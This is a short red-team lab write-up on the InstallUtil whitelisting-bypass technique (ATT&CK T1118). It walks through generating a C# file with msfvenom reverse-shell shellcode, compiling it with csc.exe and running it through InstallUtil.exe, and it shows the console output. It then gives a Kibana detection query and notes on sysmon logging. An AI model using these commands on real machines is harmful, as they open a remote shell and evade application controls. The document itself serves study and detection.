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T1118: InstallUtil


First of, let's generate a C# payload with [InstallUtil script]( that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:

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python --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost --lport 443
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Compile the .cs to an .exe:

{% code-tabs %} {% code-tabs-item title="attacker@victim" %}

PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs
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Execute the payload:

{% code-tabs %} {% code-tabs-item title="attacker@victim" %}

PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation.  All rights reserved.

Hello From Uninstall...I carry out the real work...
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Enjoy the sweet reverse shell:


Look for InstallUtil processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:

A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:

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event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
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InstallUtil launching the malicious payload

csc.exe created a temp.exe which contains the reverse shell payload

What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.

{% hint style="danger" %} Will be coming back to this one for further inspection - possibly related to sysmon configuration. {% endhint %}


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